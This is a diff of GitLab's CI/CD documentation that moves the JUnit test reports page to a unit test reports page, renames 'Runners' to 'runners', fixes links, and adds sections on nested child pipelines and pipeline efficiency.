**(PREMIUM)** - - Perform a series of tests, such as [Container Scanning](../../user/application_security/container_scanning/index.md) **(ULTIMATE)**, [Dependency Scanning](../../user/application_security/dependency_scanning/index.md) **(ULTIMATE)**, and [JUnit tests](../junit_test_reports.md). + - Perform a series of tests, such as [Container Scanning](../../user/application_security/container_scanning/index.md) **(ULTIMATE)**, [Dependency Scanning](../../user/application_security/dependency_scanning/index.md) **(ULTIMATE)**, and [Unit tests](../unit_test_reports.md). - Deploy your changes with [Review Apps](../review_apps/index.md) to preview the app changes on every branch. 1. **Package**: - Store Docker images with [Container Registry](../../user/packages/container_registry/index.md). @@ -237,3 +237,6 @@ existing one) for any application. For a deep view of GitLab's CI/CD configuration options, check the [`.gitlab-ci.yml` full reference](../yaml/README.md). + +For help making your pipelines faster and more efficient, see the +[pipeline efficiency documentation](../pipelines/pipeline_efficiency.md). diff --git a/doc/ci/junit_test_reports.md b/doc/ci/junit_test_reports.md index 8bc55a6e4f3..449f9bf5fcd 100644 --- a/doc/ci/junit_test_reports.md +++ b/doc/ci/junit_test_reports.md @@ -1,281 +1,5 @@ --- -stage: Verify -group: Testing -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers -type: reference +redirect_to: 'unit_test_reports.md' --- -# JUnit test reports - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45318) in GitLab 11.2. Requires GitLab Runner 11.2 and above. - -## Overview - -It is very common that a [CI/CD pipeline](pipelines/index.md) contains a -test job that will verify your code. -If the tests fail, the pipeline fails and users get notified. The person that -works on the merge request will have to check the job logs and see where the -tests failed so that they can fix them. - -You can configure your job to use JUnit test reports, and GitLab will display a -report on the merge request so that it's easier and faster to identify the -failure without having to check the entire log. - -If you don't use Merge Requests but still want to see the JUnit output without searching through job logs, the full [JUnit test reports](#viewing-junit-test-reports-on-gitlab) are available in the pipeline detail view. - -## Use cases - -Consider the following workflow: - -1. Your `master` branch is rock solid, your project is using GitLab CI/CD and - your pipelines indicate that there isn't anything broken. -1. Someone from your team submits a merge request, a test fails and the pipeline - gets the known red icon. To investigate more, you have to go through the job - logs to figure out the cause of the failed test, which usually contain - thousands of lines. -1. You configure the JUnit test reports and immediately GitLab collects and - exposes them in the merge request. No more searching in the job logs. -1. Your development and debugging workflow becomes easier, faster and efficient. - -## How it works - -First, GitLab Runner uploads all JUnit XML files as artifacts to GitLab. Then, -when you visit a merge request, GitLab starts comparing the head and base branch's -JUnit test reports, where: - -- The base branch is the target branch (usually `master`). -- The head branch is the source branch (the latest pipeline in each merge request). - -The reports panel has a summary showing how many tests failed, how many had errors -and how many were fixed. If no comparison can be done because data for the base branch -is not available, the panel will just show the list of failed tests for head. - -There are four types of results: - -1. **Newly failed tests:** Test cases which passed on base branch and failed on head branch -1. **Newly encountered errors:** Test cases which passed on base branch and failed due to a - test error on head branch -1. **Existing failures:** Test cases which failed on base branch and failed on head branch -1. **Resolved failures:** Test cases which failed on base branch and passed on head branch - -Each entry in the panel will show the test name and its type from the list -above. Clicking on the test name will open a modal window with details of its -execution time and the error output. - - - -## How to set it up - -To enable the JUnit reports in merge requests, you need to add -[`artifacts:reports:junit`](pipelines/job_artifacts.md#artifactsreportsjunit) -in `.gitlab-ci.yml`, and specify the path(s) of the generated test reports. -The reports must be `.xml` files, otherwise [GitLab returns an Error 500](https://gitlab.com/gitlab-org/gitlab/-/issues/216575). - -In the following examples, the job in the `test` stage runs and GitLab -collects the JUnit test report from each job. After each job is executed, the -XML reports are stored in GitLab as artifacts and their results are shown in the -merge request widget. - -To make the JUnit output files browsable, include them with the -[`artifacts:paths`](yaml/README.md#artifactspaths) keyword as well, as shown in the [Ruby example](#ruby-example). - -NOTE: **Note:** -You cannot have multiple tests with the same name and class in your JUnit report. - -### Ruby example - -Use the following job in `.gitlab-ci.yml`. This includes the `artifacts:paths` keyword to provide a link to the JUnit output file. - -```yaml -## Use https://github.com/sj26/rspec_junit_formatter to generate a JUnit report with rspec -ruby: - stage: test - script: - - bundle install - - bundle exec rspec --format progress --format RspecJunitFormatter --out rspec.xml - artifacts: - paths: - - rspec.xml - reports: - junit: rspec.xml -``` - -### Go example - -Use the following job in `.gitlab-ci.yml`, and ensure you use `-set-exit-code`, -otherwise the pipeline will be marked successful, even if the tests fail: - -```yaml -## Use https://github.com/jstemmer/go-junit-report to generate a JUnit report with go -golang: - stage: test - script: - - go get -u github.com/jstemmer/go-junit-report - - go test -v 2>&1 | go-junit-report -set-exit-code > report.xml - artifacts: - reports: - junit: report.xml -``` - -### Java examples - -There are a few tools that can produce JUnit reports in Java. - -#### Gradle - -In the following example, `gradle` is used to generate the test reports. -If there are multiple test tasks defined, `gradle` will generate multiple -directories under `build/test-results/`. In that case, you can leverage glob -matching by defining the following path: `build/test-results/test/**/TEST-*.xml`: - -```yaml -java: - stage: test - script: - - gradle test - artifacts: - reports: - junit: build/test-results/test/**/TEST-*.xml -``` - -NOTE: **Note:** -Support for `**` was added in [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620). - -#### Maven - -For parsing [Surefire](https://maven.apache.org/surefire/maven-surefire-plugin/) -and [Failsafe](https://maven.apache.org/surefire/maven-failsafe-plugin/) test -reports, use the following job in `.gitlab-ci.yml`: - -```yaml -java: - stage: test - script: - - mvn verify - artifacts: - reports: - junit: - - target/surefire-reports/TEST-*.xml - - target/failsafe-reports/TEST-*.xml -``` - -### Python example - -This example uses pytest with the `--junitxml=report.xml` flag to format the output -for JUnit: - -```yaml -pytest: - stage: test - script: - - pytest --junitxml=report.xml - artifacts: - reports: - junit: report.xml -``` - -### C/C++ example - -There are a few tools that can produce JUnit reports in C/C++. - -#### GoogleTest - -In the following example, `gtest` is used to generate the test reports. -If there are multiple gtest executables created for different architectures (`x86`, `x64` or `arm`), -you will be required to run each test providing a unique filename. The results -will then be aggregated together. - -```yaml -cpp: - stage: test - script: - - gtest.exe --gtest_output="xml:report.xml" - artifacts: - reports: - junit: report.xml -``` - -#### CUnit - -[CUnit](https://cunity.gitlab.io/cunit/) can be made to produce [JUnit XML reports](https://cunity.gitlab.io/cunit/group__CI.html) automatically when run using its `CUnitCI.h` macros: - -```yaml -cunit: - stage: test - script: - - ./my-cunit-test - artifacts: - reports: - junit: ./my-cunit-test.xml -``` - -### .NET example - -The [JunitXML.TestLogger](https://www.nuget.org/packages/JunitXml.TestLogger/) NuGet -package can generate test reports for .Net Framework and .Net Core applications. The following -example expects a solution in the root folder of the repository, with one or more -project files in sub-folders. One result file is produced per test project, and each file -is placed in a new artifacts folder. This example includes optional formatting arguments, which -improve the readability of test data in the test widget. A full .Net Core -[example is available](https://gitlab.com/Siphonophora/dot-net-cicd-test-logging-demo). - -```yaml -## Source code and documentation are here: https://github.com/spekt/junit.testlogger/ - -Test: - stage: test - script: - - 'dotnet test --test-adapter-path:. --logger:"junit;LogFilePath=..\artifacts\{assembly}-test-result.xml;MethodFormat=Class;FailureBodyFormat=Verbose"' - artifacts: - when: always - paths: - - ./**/*test-result.xml - reports: - junit: - - ./**/*test-result.xml -``` - -## Viewing JUnit test reports on GitLab - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24792) in GitLab 12.5 behind a feature flag (`junit_pipeline_view`), disabled by default. -> - The feature flag was removed and the feature was [made generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/216478) in GitLab 13.3. - -If JUnit XML files are generated and uploaded as part of a pipeline, these reports -can be viewed inside the pipelines details page. The **Tests** tab on this page will -display a list of test suites and cases reported from the XML file. - - - -You can view all the known test suites and click on each of these to see further -details, including the cases that make up the suite. - -You can also retrieve the reports via the [GitLab API](../api/pipelines.md#get-a-pipelines-test-report). - -## Viewing JUnit screenshots on GitLab - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202114) in GitLab 13.0. -> - It's deployed behind a feature flag, disabled by default. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enabling-the-junit-screenshots-feature-core-only). **(CORE ONLY)** - -If JUnit XML files contain an `attachment` tag, GitLab parses the attachment. - -Upload your screenshots as [artifacts](pipelines/job_artifacts.md#artifactsreportsjunit) to GitLab. The `attachment` tag **must** contain the absolute path to the screenshots you uploaded. - -```xml -<testcase time="1.00" name="Test"> - <system-out>[[ATTACHMENT|/absolute/path/to/some/file]]</system-out> -</testcase> -``` - -When [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/6061) is complete, the attached file will be visible on the pipeline details page. - -### Enabling the JUnit screenshots feature **(CORE ONLY)** - -This feature comes with the `:junit_pipeline_screenshots_view` feature flag disabled by default. - -To enable this feature, ask a GitLab administrator with [Rails console access](../administration/feature_flags.md#how-to-enable-and-disable-features-behind-flags) to run the -following command: - -```ruby -Feature.enable(:junit_pipeline_screenshots_view) -``` +This document was moved to [unit_test_reports](unit_test_reports.md). diff --git a/doc/ci/large_repositories/index.md b/doc/ci/large_repositories/index.md index 00e912d47dc..0019eb5f40c 100644 --- a/doc/ci/large_repositories/index.md +++ b/doc/ci/large_repositories/index.md @@ -28,9 +28,8 @@ Each guideline is described in more detail in the sections below: > Introduced in GitLab Runner 8.9. -GitLab and GitLab Runner always perform a full clone by default. -While it means that all changes from GitLab are received, -it often results in receiving extra commit logs. +GitLab and GitLab Runner perform a [shallow clone](../pipelines/settings.md#git-shallow-clone) +by default. Ideally, you should always use `GIT_DEPTH` with a small number like 10. This will instruct GitLab Runner to perform shallow clones. @@ -41,7 +40,7 @@ This significantly speeds up fetching of changes from Git repositories, especially if the repository has a very long backlog consisting of number of big files as we effectively reduce amount of data transfer. -The following example makes GitLab Runner shallow clone to fetch only a given branch; +The following example makes the runner shallow clone to fetch only a given branch; it does not fetch any other branches nor tags. ```yaml @@ -226,15 +225,15 @@ with other concurrent jobs running. ### Store custom clone options in `config.toml` Ideally, all job-related configuration should be stored in `.gitlab-ci.yml`. -However, sometimes it is desirable to make these schemes part of Runner configuration. +However, sometimes it is desirable to make these schemes part of the runner's configuration. In the above example of Forks, making this configuration discoverable for users may be preferred, but this brings administrative overhead as the `.gitlab-ci.yml` needs to be updated for each branch. In such cases, it might be desirable to keep the `.gitlab-ci.yml` clone path agnostic, but make it -a configuration of Runner. +a configuration of the runner. We can extend our [`config.toml`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html) -with the following specification that will be used by Runner if `.gitlab-ci.yml` will not override it: +with the following specification that will be used by the runner if `.gitlab-ci.yml` will not override it: ```toml concurrent = 4 @@ -255,7 +254,7 @@ concurrent = 4 volumes = ["/builds:/builds", "/cache:/cache"] ``` -This makes the cloning configuration to be part of given Runner +This makes the cloning configuration to be part of the given runner and does not require us to update each `.gitlab-ci.yml`. ## Pre-clone step diff --git a/doc/ci/merge_request_pipelines/index.md b/doc/ci/merge_request_pipelines/index.md index 73b971c2d41..3ce62936168 100644 --- a/doc/ci/merge_request_pipelines/index.md +++ b/doc/ci/merge_request_pipelines/index.md @@ -13,7 +13,7 @@ last_update: 2019-07-03 In a [basic configuration](../pipelines/pipeline_architectures.md#basic-pipelines), GitLab runs a pipeline each time changes are pushed to a branch. -If you want the pipeline to run jobs **only** when merge requests are created or updated, +If you want the pipeline to run jobs **only** on commits to a branch that is associated with a merge request, you can use *pipelines for merge requests*. In the UI, these pipelines are labeled as `detached`. Otherwise, these pipelines appear the same @@ -179,7 +179,7 @@ coming from a fork: Sometimes parent project members want the pipeline to run in the parent project. This could be to ensure that the post-merge pipeline passes in the parent project. -For example, a fork project could try to use a corrupted Runner that doesn't execute +For example, a fork project could try to use a corrupted runner that doesn't execute test scripts properly, but reports a passed pipeline. Reviewers in the parent project could mistakenly trust the merge request because it passed a faked pipeline. diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md index 685c93b3be4..dd08f9248f6 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md @@ -66,7 +66,7 @@ unresolved state or your pipelines may be dropped. ## Using Merge Trains -When you enable [Pipelines for merged results](#pipelines-for-merged-results-premium), +When you enable [Pipelines for merged results](#pipelines-for-merged-results), GitLab [automatically displays](merge_trains/index.md#add-a-merge-request-to-a-merge-train) a **Start/Add Merge Train button**. @@ -127,5 +127,5 @@ unexpected timing. For example, when a source or target branch is advanced. In this case, the pipeline fails because of `fatal: reference is not a tree:` error, which indicates that the checkout-SHA is not found in the merge ref. -This behavior was improved at GitLab 12.4 by introducing [Persistent pipeline refs](../../pipelines/index.md#troubleshooting-fatal-reference-is-not-a-tree). +This behavior was improved at GitLab 12.4 by introducing [Persistent pipeline refs](../../troubleshooting.md#fatal-reference-is-not-a-tree-error). You should be able to create pipelines at any timings without concerning the error. diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md index d91d88c8e12..1f88e8f832f 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md @@ -13,7 +13,7 @@ last_update: 2019-07-03 For more information about why you might want to use Merge Trains, read [How merge trains keep your master green](https://about.gitlab.com/blog/2020/01/30/all-aboard-merge-trains/). -When [pipelines for merged results](../index.md#pipelines-for-merged-results-premium) are +When [pipelines for merged results](../index.md#pipelines-for-merged-results) are enabled, the pipeline jobs run as if the changes from your source branch have already been merged into the target branch. @@ -80,7 +80,7 @@ To enable merge trains: To enable merge trains for your project: -1. If you are on a self-managed GitLab instance, ensure the [feature flag](#merge-trains-feature-flag-premium-only) is set correctly. +1. If you are on a self-managed GitLab instance, ensure the [feature flag](#merge-trains-feature-flag) is set correctly. 1. [Configure your CI/CD configuration file](../../index.md#configuring-pipelines-for-merge-requests) so that the pipeline or individual jobs run for merge requests. 1. Visit your project's **Settings > General** and expand **Merge requests**. diff --git a/doc/ci/metrics_reports.md b/doc/ci/metrics_reports.md index 14669edf7eb..4f4471225a0 100644 --- a/doc/ci/metrics_reports.md +++ b/doc/ci/metrics_reports.md @@ -11,7 +11,7 @@ type: reference ## Overview -GitLab provides a lot of great reporting tools for [merge requests](../user/project/merge_requests/index.md) - [JUnit reports](junit_test_reports.md), [code quality](../user/project/merge_requests/code_quality.md), performance tests, etc. While JUnit is a great open framework for tests that "pass" or "fail", it is also important to see other types of metrics from a given change. +GitLab provides a lot of great reporting tools for [merge requests](../user/project/merge_requests/index.md) - [Unit test reports](unit_test_reports.md), [code quality](../user/project/merge_requests/code_quality.md), performance tests, etc. While JUnit is a great open framework for tests that "pass" or "fail", it is also important to see other types of metrics from a given change. You can configure your job to use custom Metrics Reports, and GitLab will display a report on the merge request so that it's easier and faster to identify changes without having to check the entire log. @@ -37,7 +37,7 @@ All values are considered strings and string compare is used to find differences ## How to set it up -Add a job that creates a [metrics report](pipelines/job_artifacts.md#artifactsreportsmetrics-premium) (default filename: `metrics.txt`). The file should conform to the [OpenMetrics](https://openmetrics.io/) format. +Add a job that creates a [metrics report](pipelines/job_artifacts.md#artifactsreportsmetrics) (default filename: `metrics.txt`). The file should conform to the [OpenMetrics](https://openmetrics.io/) format. For example: diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md index 78705815c24..6de494bceaf 100644 --- a/doc/ci/migration/circleci.md +++ b/doc/ci/migration/circleci.md @@ -120,7 +120,7 @@ stages: - build - test - deploy - + job 1: stage: build script: make build dependencies @@ -128,7 +128,7 @@ job 1: job 2: stage: build script: make build artifacts - + job3: stage: test script: make test @@ -276,17 +276,17 @@ There are two GitLab issues open addressing CircleCI Orbs and how GitLab can ach ## Build environments -CircleCI offers `executors` as the underlying technology to run a specific job. In GitLab, this is done by [Runners](https://docs.gitlab.com/runner/). +CircleCI offers `executors` as the underlying technology to run a specific job. In GitLab, this is done by [runners](https://docs.gitlab.com/runner/). The following environments are supported: -Self-Managed Runners: +Self-managed runners: - Linux - Windows - macOS -GitLab.com Shared Runners: +GitLab.com shared runners: - Linux - Windows @@ -294,7 +294,7 @@ GitLab.com Shared Runners: ### Machine and specific build environments -[Tags](../yaml/README.md#tags) can be used to run jobs on different platforms, by telling GitLab which Runners should run the jobs. +[Tags](../yaml/README.md#tags) can be used to run jobs on different platforms, by telling GitLab which runners should run the jobs. CircleCI example of a job running on a specific environment: diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md index 1d029dcdd14..8dff99f7244 100644 --- a/doc/ci/migration/jenkins.md +++ b/doc/ci/migration/jenkins.md @@ -17,7 +17,7 @@ that were able to quickly complete this migration: 1. Start by reading the GitLab CI/CD [Quick Start Guide](../quick_start/README.md) and [important product differences](#important-product-differences). 1. Learn the importance of [managing the organizational transition](#managing-the-organizational-transition). -1. [Add Runners](../runners/README.md) to your GitLab instance. +1. [Add runners](../runners/README.md) to your GitLab instance. 1. Educate and enable your developers to independently perform the following steps in their projects: 1. Review the [Quick Start Guide](../quick_start/README.md) and [Pipeline Configuration Reference](../yaml/README.md). 1. Use the [Jenkins Wrapper](#jenkinsfile-wrapper) to temporarily maintain fragile Jenkins jobs. @@ -26,6 +26,8 @@ that were able to quickly complete this migration: 1. Migrate the deployment jobs using [cloud deployment templates](../cloud_deployment/index.md), adding [environments](../environments/index.md), and [deploy boards](../..//user/project/deploy_boards.md). 1. Work to unwrap any jobs still running with the use of the Jenkins wrapper. 1. Take stock of any common CI/CD job definitions then create and share [templates](#templates) for them. +1. Check the [pipeline efficiency documentation](../pipelines/pipeline_efficiency.md) + to learn how to make your GitLab CI/CD pipelines faster and more efficient. For an example of how to convert a Jenkins pipeline into a GitLab CI/CD pipeline, or how to use Auto DevOps to test your code automatically, watch the @@ -107,7 +109,7 @@ There are some high level differences between the products worth mentioning: is in the YAML format (see [complete reference](../yaml/README.md)) instead of a Groovy DSL. It's most analogous to the declarative Jenkinsfile format. - Manual approvals or gates can be set up as [`when:manual` jobs](../yaml/README.md#whenmanual). These can - also leverage [`protected environments`](../yaml/README.md#protecting-manual-jobs-premium) + also leverage [`protected environments`](../yaml/README.md#protecting-manual-jobs) to control who is able to approve them. - GitLab comes with a [container registry](../../user/packages/container_registry/index.md), and we recommend using container images to set up your build environment. For example, set up one pipeline that builds your build environment @@ -117,26 +119,26 @@ There are some high level differences between the products worth mentioning: or other manual jobs that function like utilities. Jenkins installations tend to have a few of these. -## Agents vs. Runners +## Agents vs. runners -Both Jenkins agents and GitLab Runners are the hosts that run jobs. To convert the +Both Jenkins agents and GitLab runners are the hosts that run jobs. To convert the Jenkins agent, simply uninstall it and then [install and register the runner](../runners/README.md). Runners do not require much overhead, so you can size them similarly to the Jenkins agents you were using. -There are some important differences in the way Runners work in comparison to agents: +There are some important differences in the way runners work in comparison to agents: - Runners can be set up as [shared across an instance, be added at the group level, or set up at the project level](../runners/README.md#types-of-runners). They will self-select jobs from the scopes you've defined automatically. - You can also [use tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) for finer control, and associate runners with specific jobs. For example, you can use a tag for jobs that require dedicated, more powerful, or specific hardware. -- GitLab has [autoscaling for Runners](https://docs.gitlab.com/runner/configuration/autoscale.html) +- GitLab has [autoscaling for runners](https://docs.gitlab.com/runner/configuration/autoscale.html) which will let you configure them to be provisioned as needed, and scaled down when not. This is similar to ephemeral agents in Jenkins. -If you are using `gitlab.com`, you can take advantage of our [shared Runner fleet](../../user/gitlab_com/index.md#shared-runners) -to run jobs without provisioning your own Runners. We are investigating making them +If you are using `gitlab.com`, you can take advantage of our [shared runner fleet](../../user/gitlab_com/index.md#shared-runners) +to run jobs without provisioning your own runners. We are investigating making them [available for self-managed instances](https://gitlab.com/groups/gitlab-org/-/epics/835) as well. @@ -225,11 +227,11 @@ and is meant to be a mapping of concepts there to concepts in GitLab. #### `agent` -The agent section is used to define how a pipeline will be executed. For GitLab, we use the [GitLab Runner](../runners/README.md) +The agent section is used to define how a pipeline will be executed. For GitLab, we use [runners](../runners/README.md) to provide this capability. You can configure your own runners in Kubernetes or on any host, or take advantage of our shared runner fleet (note that the shared runner fleet is only available for GitLab.com users.) The link above will bring you to the documentation which will describe how to get up and running quickly. We also support using [tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs -to different Runners (execution agents). +to different runners (execution agents). The `agent` section also allows you to define which Docker images should be used for execution, for which we use the [`image`](../yaml/README.md#image) keyword. The `image` can be set on a single job or at the top level, in which @@ -238,7 +240,6 @@ case it will apply to all jobs in the pipeline: ```yaml my_job: image: alpine - ... ``` #### `post` @@ -284,7 +285,6 @@ stages: my_job: stage: build - ... ``` #### `steps` @@ -297,7 +297,6 @@ my_job: script: - echo "hello! the current time is:" - time - ... ``` ### Directives @@ -357,3 +356,8 @@ our very powerful [`only/except` rules system](../yaml/README.md#onlyexcept-basi my_job: only: [branches] ``` + +## Additional resources + +For help making your pipelines faster and more efficient, see the +[pipeline efficiency documentation](../pipelines/pipeline_efficiency.md). diff --git a/doc/ci/multi_project_pipelines.md b/doc/ci/multi_project_pipelines.md index 3df2db8539e..3f9a00b6cc8 100644 --- a/doc/ci/multi_project_pipelines.md +++ b/doc/ci/multi_project_pipelines.md @@ -124,7 +124,7 @@ gets created. If you want to display the downstream pipeline's status instead, s NOTE: **Note:** Bridge jobs do not support every configuration entry that a user can use -in the case of regular jobs. Bridge jobs will not be picked by a Runner, +in the case of regular jobs. Bridge jobs will not be picked by a runner, so there is no point in adding support for `script`, for example. If a user tries to use unsupported configuration syntax, YAML validation will fail upon pipeline creation. @@ -272,7 +272,8 @@ You can trigger a pipeline in your project whenever a pipeline finishes for a ne tag in a different project: 1. Go to the project's **Settings > CI / CD** page, and expand the **Pipeline subscriptions** section. -1. Enter the path to the project you want to subscribe to. +1. Enter the project you want to subscribe to, in the format `<namespace>/<project>`. + For example, if the project is `https://gitlab.com/gitlab-org/gitlab`, use `gitlab-org/gitlab`. 1. Click subscribe. Any pipelines that complete successfully for new tags in the subscribed project diff --git a/doc/ci/parent_child_pipelines.md b/doc/ci/parent_child_pipelines.md index 1cfa698bfa5..83fa1d355e6 100644 --- a/doc/ci/parent_child_pipelines.md +++ b/doc/ci/parent_child_pipelines.md @@ -150,8 +150,35 @@ We also have an [example project using Dynamic Child Pipelines with Jsonnet](htt In GitLab 12.9, the child pipeline could fail to be created in certain cases, causing the parent pipeline to fail. This is [resolved in GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/issues/209070). -## Limitations +## Nested child pipelines -A parent pipeline can trigger many child pipelines, but a child pipeline cannot trigger -further child pipelines. See the [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/29651) -for discussion on possible future improvements. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29651) in GitLab 13.4. +> - It's [deployed behind a feature flag](../user/feature_flags.md), enabled by default. +> - It's enabled on GitLab.com. +> - It's recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-nested-child-pipelines). **(CORE ONLY)** + +Parent and child pipelines were introduced with a maximum depth of one level of child +pipelines, which was later increased to two. A parent pipeline can trigger many child +pipelines, and these child pipelines can trigger their own child pipelines. It's not +possible to trigger another level of child pipelines. + +### Enable or disable nested child pipelines **(CORE ONLY)** + +Nested child pipelines with a depth of two are under development but ready for +production use. This feature is deployed behind a feature flag that is **enabled by default**. + +[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md) +can opt to disable it. + +To enable it: + +```ruby +Feature.enable(:ci_child_of_child_pipeline) +``` + +To disable it: + +```ruby +Feature.disable(:ci_child_of_child_pipeline) +``` diff --git a/doc/ci/pipelines/img/ci_efficiency_pipeline_dag_critical_path.png b/doc/ci/pipelines/img/ci_efficiency_pipeline_dag_critical_path.png Binary files differnew file mode 100644 index 00000000000..1715e8224ab --- /dev/null +++ b/doc/ci/pipelines/img/ci_efficiency_pipeline_dag_critical_path.png diff --git a/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png b/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png Binary files differnew file mode 100644 index 00000000000..0956e76804e --- /dev/null +++ b/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png diff --git a/doc/ci/pipelines/index.md b/doc/ci/pipelines/index.md index 8419b474d54..1b9048089bd 100644 --- a/doc/ci/pipelines/index.md +++ b/doc/ci/pipelines/index.md @@ -22,7 +22,7 @@ Pipelines comprise: - Jobs, which define *what* to do. For example, jobs that compile or test code. - Stages, which define *when* to run the jobs. For example, stages that run tests after stages that compile the code. -Jobs are executed by [Runners](../runners/README.md). Multiple jobs in the same stage are executed in parallel, +Jobs are executed by [runners](../runners/README.md). Multiple jobs in the same stage are executed in parallel, if there are enough concurrent runners. If *all* jobs in a stage succeed, the pipeline moves on to the next stage. @@ -40,7 +40,7 @@ A typical pipeline might consist of four stages, executed in the following order - A `production` stage, with a job called `deploy-to-prod`. NOTE: **Note:** -If you have a [mirrored repository that GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository-starter), +If you have a [mirrored repository that GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository), you may need to enable pipeline triggering in your project's **Settings > Repository > Pull from a remote repository > Trigger pipelines for mirror updates**. @@ -199,7 +199,7 @@ such as builds, logs, artifacts, and triggers. **This action cannot be undone.** ### Pipeline quotas Each user has a personal pipeline quota that tracks the usage of shared runners in all personal projects. -Each group has a [usage quota](../../subscriptions/index.md#ci-pipeline-minutes) that tracks the usage of shared runners for all projects created within the group. +Each group has a [usage quota](../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes) that tracks the usage of shared runners for all projects created within the group. When a pipeline is triggered, regardless of who triggered it, the pipeline quota for the project owner's [namespace](../../user/group/index.md#namespaces) is used. In this case, the namespace can be the user or group that owns the project. @@ -483,7 +483,7 @@ be found when you are on a [single pipeline page](#view-pipelines). For example:  -[Multi-project pipeline graphs](../multi_project_pipelines.md#multi-project-pipeline-visualization-premium) help +[Multi-project pipeline graphs](../multi_project_pipelines.md#multi-project-pipeline-visualization) help you visualize the entire pipeline, including all cross-project inter-dependencies. **(PREMIUM)** ### Pipeline mini graphs @@ -535,32 +535,3 @@ GitLab provides API endpoints to: - Trigger pipeline runs. For more information, see: - [Triggering pipelines through the API](../triggers/README.md). - [Pipeline triggers API](../../api/pipeline_triggers.md). - -## Troubleshooting `fatal: reference is not a tree:` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/17043) in GitLab 12.4. - -Previously, you'd have encountered unexpected pipeline failures when you force-pushed -a branch to its remote repository. To illustrate the problem, suppose you've had the current workflow: - -1. A user creates a feature branch named `example` and pushes it to a remote repository. -1. A new pipeline starts running on the `example` branch. -1. A user rebases the `example` branch on the latest `master` branch and force-pushes it to its remote repository. -1. A new pipeline starts running on the `example` branch again, however, - the previous pipeline (2) fails because of `fatal: reference is not a tree:` error. - -This is because the previous pipeline cannot find a checkout-SHA (which associated with the pipeline record) -from the `example` branch that the commit history has already been overwritten by the force-push. -Similarly, [Pipelines for merged results](../merge_request_pipelines/pipelines_for_merged_results/index.md) -might have failed intermittently due to [the same reason](../merge_request_pipelines/pipelines_for_merged_results/index.md#intermittently-pipelines-fail-by-fatal-reference-is-not-a-tree-error). - -As of GitLab 12.4, we've improved this behavior by persisting pipeline refs exclusively. -To illustrate its life cycle: - -1. A pipeline is created on a feature branch named `example`. -1. A persistent pipeline ref is created at `refs/pipelines/<pipeline-id>`, - which retains the checkout-SHA of the associated pipeline record. - This persistent ref stays intact during the pipeline execution, - even if the commit history of the `example` branch has been overwritten by force-push. -1. GitLab Runner fetches the persistent pipeline ref and gets source code from the checkout-SHA. -1. When the pipeline finished, its persistent ref is cleaned up in a background process. diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md index be6886fe6b2..750a76bfaa0 100644 --- a/doc/ci/pipelines/job_artifacts.md +++ b/doc/ci/pipelines/job_artifacts.md @@ -47,7 +47,7 @@ when the job fails, or always, by using [`artifacts:when`](../yaml/README.md#art parameter. GitLab keeps these uploaded artifacts for 1 week, as defined by the `expire_in` definition. You can keep the artifacts from expiring via the [web interface](#browsing-artifacts). If the expiry time is not defined, it defaults -to the [instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration-core-only). +to the [instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration). For more examples on artifacts, follow the [artifacts reference in `.gitlab-ci.yml`](../yaml/README.md#artifacts). @@ -75,13 +75,13 @@ If you also want the ability to browse the report output files, include the > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20390) in GitLab 11.2. > - Requires GitLab Runner 11.2 and above. -The `junit` report collects [JUnit XML files](https://www.ibm.com/support/knowledgecenter/en/SSQ2R2_14.1.0/com.ibm.rsar.analysis.codereview.cobol.doc/topics/cac_useresults_junit.html) +The `junit` report collects [JUnit report format XML files](https://www.ibm.com/support/knowledgecenter/en/SSQ2R2_14.1.0/com.ibm.rsar.analysis.codereview.cobol.doc/topics/cac_useresults_junit.html) as artifacts. Although JUnit was originally developed in Java, there are many -[third party ports](https://en.wikipedia.org/wiki/JUnit#Ports) for other +third party ports for other languages like JavaScript, Python, Ruby, and so on. -See [JUnit test reports](../junit_test_reports.md) for more details and examples. -Below is an example of collecting a JUnit XML file from Ruby's RSpec test tool: +See [Unit test reports](../unit_test_reports.md) for more details and examples. +Below is an example of collecting a JUnit report format XML file from Ruby's RSpec test tool: ```yaml rspec: @@ -94,7 +94,7 @@ 